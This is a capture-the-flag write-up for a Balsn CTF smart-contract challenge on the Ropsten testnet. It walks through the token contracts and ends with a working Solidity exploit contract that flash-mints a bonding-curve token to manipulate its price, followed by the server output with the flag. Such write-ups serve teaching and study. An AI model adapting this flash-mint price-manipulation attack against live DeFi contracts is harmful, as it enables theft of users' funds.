tags:
blockchain
whysw@PLUS
Attachments are uploaded on gist.
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_/ // _ / / -_) (_ / _ `/ ' \/ -_)
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All game contracts will be deployed on ** Ropsten Testnet **
Please follow the instructions below:
1. Create a game account
2. Deploy a game contract
3. Request for the flag
When you connect to server, you'll get an account in ropsten testnet. After you deposit some ETH to that account, you can deploy contract Setup
(in IdleGame.sol) using menu 2.
Then you should make contract Setup
's variable-sendFlag- to true.
At first, it uses library SafeMath
. This library implemented add, sub, mul, div, but additionally, it guarantees there is NO overflow in arithmetic operations.
ERC20 standard is the most generally used token standard in ethereum smart contract. Thanks to SafeMath, it doesn't have overflow bugs.
It has flashMint
function, which lends me some money and immediately take back. In IBorrower(msg.sender).executeOnFlashMint(amount);
, the execution flow is switched to the caller's executeOnFlashMint
function.
I read this article(korean) to get information about continuous token. To summarize, continuous token's value(relatively to another money, in this case, BalsnToken) varys depends on BancorBondingCurve.
It is simple ERC20 token contract, but it has function giveMeMoney
, that gives us Free 1 BalsnToken.
This is also basically ERC20 token, but it inherits FlashERC20
and ContinuousToken
. GamePoint is the new token, which has flashMint function. Moreover, it can be bought using Balsn Token, and sold to Balsn Token. The exchange rate between them is determined by BondingCurve with given reserveRatio.
It creates BSN token and IDL token. The reserve ratio is 999000(ppm) = 99.90%.
We should call giveMeFlag
function to set SendFlag variable true, but it is only allowed to IDL contract which this contract generated in the constructor. So if there is no serious functional flaw, we should call IDL.giveMeFlag()
first. (which requires (10 ** 8) * scale
IDL.(scale is 10 ** 18))
Nobody gives free money, but BSN token DOES!
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
}
So I tried…
BSN.giveMeMoney()
IDL.buyGamePoints(1)
(do not forget to increase allowance from your address to IDL contract address)But with 1 BSN token, you could receive only 36258700 IDL.
>>> 10**26 / 36258700
2.7579587795480806e+18
umm… you could try it, but I found another way.
function getReward() public returns (uint) {
uint points = block.timestamp.sub(startTime[msg.sender]);
points = points.add(level[msg.sender]).mul(points);
_mint(msg.sender, points);
startTime[msg.sender] = block.timestamp;
return points;
}
function levelUp() public {
_burn(msg.sender, level[msg.sender]);
level[msg.sender] = level[msg.sender].add(1);
}
When you pay same amount of IDL token with your level, then you could level up.
The higher your level is, the more you get(getReward
). It calculates timestamp**2 + timestamp*level.
But timestamp is too small compared to the goal, 10**26
.
>>> time = 1605943620
>>> flag = 10 ** 26
>>> (flag - time**2)/time
6.226868501208348e+16
>>> level = (flag - time**2)/time
>>> (level+1)*level/2
1.9386945665670348e+33
It costs more than just calling giveMeMoney :(
After above trials, I thought that there would be some exploitable things that results from two characteristics of Idle Game Token, FlashMint and Continuous.
I read bZx Hack Analysis: Smart use of DeFi legos. | Mudit Gupta's Blog. This article is about how FlashLoan property of the token can be a vulnerable point.
The important point is that When the value of Flash Minted Token changes dramatically, it will cause change of balance, even after flash-loaned token is returned.
This reminded me the fact that continuous token's value varys according to the total supply.
To test this, I flash-mint 10**30IDL
, and checked calculateContinuousBurnReturn(1)
.
Because this is flash-mint, it returns to normal when the flash-mint value is burnt.
pragma solidity =0.5.17;
import "./Tokens.sol";
import "./IdleGame.sol";
contract Exploit is IBorrower {
BalsnToken public BSN;
IdleGame public IDL;
uint public foronemint;
uint public foroneburn;
constructor() public {
BSN = BalsnToken(0x927Be6055D91C328726995058eCa018b88B5282d);
IDL = IdleGame(0x8380580A1AD5f5dC78b82e0a1461D48FCbD7afb3);
incAllow();
}
function getToken() public view returns (uint) {
return BSN.balanceOf(address(this));
}
function getGP() public view returns (uint) {
return IDL.balanceOf(address(this));
}
function getLevel() public view returns (uint) {
return IDL.level(address(this));
}
function _takeMoney() internal {
BSN.giveMeMoney();
}
function _levelUp() internal {
IDL.levelUp();
}
function incAllow() internal {
BSN.increaseAllowance(address(IDL), uint(-1));
}
function buyGP(uint val) internal {
IDL.buyGamePoints(val);
}
function buyAllGP() internal {
if(getToken() > 0){
buyGP(getToken());
}
}
function sellGP(uint val) internal {
IDL.sellGamePoints(val);
}
function sellAllGP() internal {
if(getGP() > 0){
sellGP(getGP());
}
}
function levelUp() internal {
uint level = IDL.level(address(this));
for(uint gp = getGP(); gp<level; gp = getGP()){
_takeMoney();
buyGP(1);
}
_levelUp();
}
function LevelUp(uint trial) public {
for(uint i=0; i<trial; i++){
levelUp();
}
}
function executeOnFlashMint(uint amount) external {
buyAllGP();
}
function prepare() public {
LevelUp(100);
getReward();
sellAllGP();
}
function attack(uint exp) public {
IDL.flashMint(10**exp);
sellAllGP();
}
function getReward() public {
IDL.getReward();
}
function getFlag() public {
IDL.giveMeFlag();
}
}
____ ____ _____
/ _/__/ / /__ / ___/__ ___ _ ___
_/ // _ / / -_) (_ / _ `/ ' \/ -_)
/___/\_,_/_/\__/\___/\_,_/_/_/_/\__/
All game contracts will be deployed on ** Ropsten Testnet **
Please follow the instructions below:
1. Create a game account
2. Deploy a game contract
3. Request for the flag
Input your choice: 3
Input your contract token: nxihL8FJF+anFIroGLpWSkHhrWh5b5TUzIvrf3fOsxSj/iC/LsXOpyKjMiXEJVyZIqxhUF+AF59ca/6P1nNGE8h10bO4wraEviVpYwt+VlOPmezf9sk9EXNsvbMAmck9EEu8PxMl4PWk48wvIjTaVJgrQOo8LAmte4FG5G8WCGMmM1zLyGdapchBTALOmC2jrfGh28ItkiIWfKtmANqsrA==
Congrats! Here is your flag: BALSN{Arb1tr4ge_wi7h_Fl45hMin7}
I am so pleased to see smart contract challenge again!
Good to see unfamiliar token features, and the road to flag is reasonable I think :) Thank you for great challenge!